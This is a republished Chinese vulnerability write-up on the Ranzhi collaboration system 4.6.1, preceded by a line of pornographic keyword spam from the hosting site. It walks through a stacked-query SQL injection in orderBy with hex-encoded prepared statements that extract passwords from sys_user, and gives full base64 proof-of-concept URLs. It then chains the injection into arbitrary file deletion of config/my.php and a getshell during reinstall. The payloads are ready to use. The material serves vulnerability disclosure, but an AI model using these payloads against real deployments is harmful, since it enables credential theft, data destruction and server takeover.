日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

然之协同系统漏洞利用汇总

發布時間:2024/3/12 windows 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 然之协同系统漏洞利用汇总 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Author:Vspiders
首發地址:https://xianzhi.aliyun.com/forum/topic/2135

前言

前段時間在做然之協同系統代碼審計,這里做個簡單的總結。

第一彈:SQL注入漏洞

0x01 注入漏洞分析

問題出現在/lib/base/dao/dao.class.php文件中的orderBy函數中,

public function orderBy($order) {if($this->inCondition and !$this->conditionIsTrue) return $this;$order = str_replace(array('|', '', '_'), ' ', $order);/* Add "`" in order string. *//* When order has limit string. */$pos = stripos($order, 'limit');$orders = $pos ? substr($order, 0, $pos) : $order;$limit = $pos ? substr($order, $pos) : '';//截limit$orders = trim($orders);…………$order = join(',', $orders) . ' ' . $limit; //直接拼接$this->sql .= ' ' . DAO::ORDERBY . " $order";return $this; }

簡單分析一下orderBy函數,首先是把輸入的$order變量過濾掉|、SOH、_字符,然后查看輸入變量中是否存在limit字符,如果存在的話,對其進行截斷,字符limit前形成$orders變量,limit字符后的內容變成$limit變量,問題就出在這里,之后并沒有對$limit變量進行過濾,拼接到$orders變量之后,然后直接帶入查詢,并且然之協同框架支持多語句查詢,因此可以構造多語句進行基于時間的SQL盲注注入。
但是這里如果跑數據庫內容會出現一個問題,由于輸入變量過濾掉了_字符,并且這個字符是數據庫中表必有的。不過這里可以利用mysql的存儲過程進行繞過。
存儲過程的利用形式如下:

set @query=0x…; (注入語句的ASCII值) prepare stmt from @query; execute stmt;

0x02 漏洞利用

這里以最新版ranzhi4.6.1為例
http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html
此處會調用orderby函數。

Step 1:

構造原始param :

{"orderBy":"id limit 0,1;select if(1=2,1,sleep(2))#" }

Base64加密:

eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9

POC為:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NlbGVjdCBpZigxPTIsMSxzbGVlcCgyKSkjIiB9

此時會延時等待2秒,但是ranzhi數據庫的表名中存在下劃線,所以還不能直接利用該payload進行爆破。引入存儲機制。

Step 2:

注入語句:

select if(30<ord(substr(password,1,1)),sleep(2),1) from sys_user

十六進制:

0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572

構造原始param :

{"orderBy":"id limit 0,1; set @query=0x73656c6563742069662833303c6f7264287375627374722870617373776f72642c312c3129292c736c6565702832292c31292066726f6d207379735f75736572;prepare stmt from @query;execute stmt;" }

Base64加密后最終POC:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3MzY1NmM2NTYzNzQyMDY5NjYyODMzMzAzYzZmNzI2NDI4NzM3NTYyNzM3NDcyMjg3MDYxNzM3Mzc3NmY3MjY0MmMzMTJjMzEyOTI5MmM3MzZjNjU2NTcwMjgzMjI5MmMzMTI5MjA2NjcyNmY2ZDIwNzM3OTczNWY3NTczNjU3MjtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==

0x03 腳本演示

這里寫個簡單的腳本跑了一下,效果還不錯,如下


第二彈:后臺任意文件刪除

從注入漏洞中,不難發現可以進行多行SQL語句執行,因此能控制數據庫表里的內容。

0x01 漏洞分析

任意文件刪除的觸發點有很多,這里以一個簡單的利用點為例:

public function getByID($fileID) {$file = $this->dao->findById($fileID)->from(TABLE_FILE)->fetch();$realPathName = $this->getRealPathName($file->pathname);$file->realPath = $this->savePath . $realPathName;$file->webPath = $this->webPath . $realPathName;return $this->processFile($file); } … public function delete($fileID, $null = null) {$file = $this->getByID($fileID);if(file_exists($file->realPath)) unlink($file->realPath);$this->dao->delete()->from(TABLE_FILE)->where('id')->eq($file->id)->exec();return !dao::isError(); }

邏輯很簡單,根據fileID獲取文件信息,然后判斷存在該文件則刪除。其中獲取文件信息是從TABLE_FILE數據表中查詢,即對應為sys_file表,因為我們可以通過SQL語句修改控制sys_file表,因此就可以控制任意文件刪除。

0x02 漏洞利用

首先后臺上傳一個圖片文件。

注意文件名設置為易于識別的字符。然后通過訪問file-edit-ID查找該文件的ID。

ID為1,利用SQL注入漏洞修改sys_file表中ID為1的pathname為我們想要刪除的文件。
SQL語句:

update sys_file set pathname='../../../config/my.php' where id=1

構造param:

{"orderBy":"id limit 0,1;set @query=0x757064617465207379735f66696c652073657420706174686e616d653d272e2e2f2e2e2f2e2e2f636f6e6669672f6d792e706870272077686572652069643d31;prepare stmt from @query;execute stmt;" }

最終Payload:

http://127.0.0.1/ranzhi/www/cash/block-printTradeBlock.html?param=eyJvcmRlckJ5IjoiaWQgbGltaXQgMCwxO3NldCBAcXVlcnk9MHg3NTcwNjQ2MTc0NjUyMDczNzk3MzVmNjY2OTZjNjUyMDczNjU3NDIwNzA2MTc0Njg2ZTYxNmQ2NTNkMjcyZTJlMmYyZTJlMmYyZTJlMmY2MzZmNmU2NjY5NjcyZjZkNzkyZTcwNjg3MDI3MjA3NzY4NjU3MjY1MjA2OTY0M2QzMTtwcmVwYXJlIHN0bXQgZnJvbSBAcXVlcnk7ZXhlY3V0ZSBzdG10OyIgfQ==

然后訪問http://127.0.0.1/ranzhi/www/sys/file-delete-1
即可完成任意文件刪除。同樣也可存在任意文件下載漏洞file-download-ID
此時刪除了my.php文件之后,該系統將會重新安裝。


第三彈:安裝時Getshell

不到shell不罷休。

0x01 漏洞解析

當進入了安裝環節,安裝時并未進行過濾輸入字符,所有的配置信息都會直接寫入my.php文件中,利用該點可以直接向配置文件中寫入一句話getshell。

0x02 漏洞利用

進入安裝配置界面:
http://127.0.0.1/ranzhi/www/sys/install.php

如果知道對方數據庫密碼更好,如果不知道,可以使用遠程Mysql服務器。保存之后便會觸發。


總結

以上是生活随笔為你收集整理的然之协同系统漏洞利用汇总的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。